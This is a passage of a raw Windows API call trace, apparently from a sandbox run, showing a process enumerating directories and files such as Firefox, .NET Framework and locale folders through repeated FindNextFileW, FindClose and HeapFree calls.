	[0153.859] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x82e53326, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e53326, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0153.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.973] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1
	[0153.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.976] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0153.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.976] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0
	[0153.976] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0153.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.976] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27303b10, ftCreationTime.dwHighDateTime=0x1d4cae9, ftLastAccessTime.dwLowDateTime=0x20bbe6e0, ftLastAccessTime.dwHighDateTime=0x1d4e014, ftLastWriteTime.dwLowDateTime=0x20bbe6e0, ftLastWriteTime.dwHighDateTime=0x1d4e014, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="charlie_sperm_new.exe", cAlternateFileName="CHARLI~1.EXE")) returned 1
	[0153.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.979] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0
	[0153.979] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0153.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.979] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1
	[0153.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.981] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1
	[0153.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.982] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1
	[0153.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.983] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0
	[0153.983] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0153.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.984] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1
	[0153.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.986] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1
	[0153.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0153.990] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0153.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0153.992] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0153.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0153.993] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0153.993] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0153.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.993] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0153.993] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0153.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.995] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0153.995] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0153.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0153.995] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x82e79621, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e79621, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0153.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0153.999] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0154.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0154.001] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70a5faff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0154.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0154.005] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0154.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0154.006] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70a5faff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0154.006] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0154.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0154.007] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70a5faff, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70a5faff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0154.007] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0154.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.009] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7126660, ftCreationTime.dwHighDateTime=0x1d49d5c, ftLastAccessTime.dwLowDateTime=0x7bdf5cb0, ftLastAccessTime.dwHighDateTime=0x1d4fcab, ftLastWriteTime.dwLowDateTime=0x7bdf5cb0, ftLastWriteTime.dwHighDateTime=0x1d4fcab, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="roof.exe", cAlternateFileName="")) returned 1
	[0154.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.009] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa73e1bbd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8390c831, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="rempl", cAlternateFileName="")) returned 1
	[0154.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.051] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl.xml", cAlternateFileName="")) returned 1
	[0154.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.052] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xa747e827, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2709a20, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0154.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.052] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UNP", cAlternateFileName="")) returned 1
	[0154.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.064] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0154.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.067] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1
	[0154.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.072] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1
	[0154.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.076] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0154.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.079] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0154.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.083] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1
	[0154.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.086] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1
	[0154.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.104] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0154.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.110] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0154.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.113] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1
